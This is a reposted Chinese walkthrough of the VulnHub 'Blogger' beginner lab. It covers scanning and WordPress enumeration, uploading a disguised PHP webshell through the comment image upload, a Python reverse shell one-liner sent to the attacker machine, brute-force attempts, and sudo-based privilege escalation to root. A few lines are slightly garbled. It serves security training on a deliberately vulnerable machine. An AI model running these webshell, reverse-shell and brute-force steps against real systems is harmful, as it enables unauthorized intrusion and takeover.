网络安全实战分享 | 靶机 - blogger（转载）

靶机下载:
https://www.vulnhub.com/entry/blogger-1%2C675/

难度： 初学者

描述：一位Web 开发人员 James M Brunner 最近创建了一个博客网站。他雇佣你来测试他博客网站的安全性。有老哥试了需要安全模式 改网卡

目标： 拿到flag

环境搭建

由于靶机特点，需要搭建在VirtualBox ，所以在启动前配置网卡为桥接模式

双击 ova 文件导入 virtualBox，然后设置网卡模式

配置kali的网卡为 桥接模式

攻击机 kali linux ：192.168.31.106

主机发现

nmap -sP 192.168.31.0/24 // 采用ping扫描存活主机

排除个人IP和已知网络IP后，存在一个异常IP地址: 192.168.31.73

进一步扫描 IP 地址开放的端口号

nmap -sV -sT -p- 192.168.31.73 // -sV 探测端口服务版本 -sT 全连接 -p- 全端口

扫描结束后，发现目标IP 开放了 2 个端口，SSH 可以采用爆破密码， HTTP服务可以通过常规 web 漏洞手段渗透，确认攻击方法后，优先挖掘 web 漏洞

后续可能会遇到跳转到域名访问情况， 将 blogger.thm 添加到 /etc/hosts 文件 或 C:windowsSystem32driversetchosts文件

web 应用程序- 漏洞发现

先进行目录爆破，使用工具 dirsearch 爆破路径

命令： Python/ target=_blank class=infotextkey>Python dirsearch.py -u http://192.168.31.73/

访问发现存在网站目录遍历，获取到web容器版本 2.4.18

访问路径 /fonts/blog时，发现 wAppalyzer 获取到更多的信息，确定当前存在wordPress/ target=_blank class=infotextkey>WordPress 环境

根据 wordpress 版本 寻找漏洞 （百度寻找公开漏洞poc或使用工具 wpscan）

Burp的插件-software vulnerability scanner 也可以帮助我们扫描到 wordpress 版本

使用wpscan 扫描域名

命令： wpscan --url http://192.168.31.73/

看起来 wordpress 开启了 xmlrpc , 但是利用 msf 扫描失败了

继续寻找漏洞，在阅读博客时发现有一款编辑器

在评论处发现可以上传图片，上传图片马测试

命令： copy 1.jpg/a +shell.php/b shell.jpg // 1.jpg为正常的图片，尽可能选择小点的图片，shell.php 为 php一句话木马

抓包，尝试修改图片后缀 为 php，(为了更好的截图，我删除了一部分HTTP 请求header)

随后通过返回的路径测试（也可以通过路径遍历找到上传php文件），发现绿了,拿到shell

寻找提权手段

存在数据库密码配置文件，发现登录返回500 错误

在 /home下发现当前 服务器存在三个用户 james ，ubuntu，vagrant ，利用 hydra 暴力破解用户 发现不允许密码登录、

利用弱密码在获得的shell上登录，发现蚁剑执行 su 受限制

尝试反弹shell在终端尝试重新上传一个 图片马，

kali 监听 本地端口 8888 命令： nc -lvvp 8888

利用system 函数 执行反弹shell命令，这里注意 enctype 的值，否则接收不到shell接下来获得一个交互式的shell

a=python3 -c 'import socket,subprocess,os;

s=socket.socket(socket.AF_.NET,socket.SOCK_STREAM);

s.connect(("192.168.31.106",8888));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call(["/bin/sh","-i"]);'
尝试利用弱密码登录用户 vagrant

获取信息发现存在sudo 权限

sudo命令以系统管理者的身份执行指令，也就是说，经由 sudo 所执行的指令就好像是 root 亲自执行。

利用sudo su 提升到 root权限

在root 目录下得到 root.txt 文件

base64 解码得到如下内容

Hey There,

......

Here's Your Flag.

flag{W311_D0n3_Y0u_P3n3tr4t3d_M3 :)}

拿到 flag 就结束了，还有个flag 在james/user.txt 我这里就不展示了

总结

难度不大，考察了 文件上传，权限提升等漏洞，需要掌握基础知识即可挑战，适合入门安全从业人员以及兴趣爱好者。

坑点：这个靶机只能搭建在vb上，我在vmware上测试时只有一个没有分配ip地址，网卡启动有问题。

另外要注意，反弹shell和蚁剑执行的shell 还是有些许不同，在测试中可以多试试不同的方式。